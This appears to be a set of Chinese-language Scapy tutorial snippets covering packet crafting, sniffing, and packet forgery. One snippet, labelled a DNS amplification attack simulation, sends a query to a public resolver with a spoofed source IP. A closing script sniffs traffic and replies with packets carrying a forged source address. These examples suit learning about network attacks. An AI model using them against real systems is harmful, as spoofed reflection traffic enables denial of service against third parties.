模拟udp
#!/usr/bin/python
# -*- coding: UTF-8 -*-
from scapy import *
from scapy.all import *
data = "Hello Scapy"
pkt = IP(src='172.16.2.134', dst='172.16.2.91')/UDP(sport=12345, dport=5555)/data
send(pkt, inter=1, count=1)
模拟tcp客户端
#!/usr/bin/python
# -*- coding: UTF-8 -*-
from scapy import *
from scapy.all import *
data = "Hello Scapy"
pkt = IP(src='172.16.2.134', dst='172.16.2.91')/TCP(sport=12345, dport=5555)/data
send(pkt, inter=1, count=1)
模拟接收端
>>> receive = sniff(filter="tcp and host 172.16.2.135")
>>> receive
<Sniffed: TCP:0 UDP:0 ICMP:0 Other:0>
模拟dns放大攻击
#coding:utf-8
from scapy import *
from scapy.all import *
a = IP(dst='8.8.8.8',src='192.168.1.200') #192.168.1.200 为伪造的源ip
b = UDP(dport=53)
c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)
c.qd=DNSQR(qname='www.qq.com',qtype=1,qclass=1)
p = a/b/c
send(p)
代码逻辑模拟
# encoding=utf-8
from scapy.all import *
import utils
import os
os.system("python sniff_script.py >> sniff.log")
def forge(address, port):
""" 通过嗅探到的数据,进行伪造数据 """
forge_data = "This is forge data."
pkt = IP(src='172.16.2.200', dst=address)/UDP(sport=12345, dport=port)/forge_data
send(pkt, inter=1, count=3)
pass
sniff_file = open("sniff.log", "rb")
for data in sniff_file.readlines():
result = utils.match(data)
if result is not None and result[0] != '172.16.2.135':
print(result)
forge(result[0], int(result[1]))
pass
pass
sniff_script.py文件如下
# encoding=utf-8
from scapy.all import *
receive = sniff(filter="udp and host 172.16.2.135", count=100)
receive.show()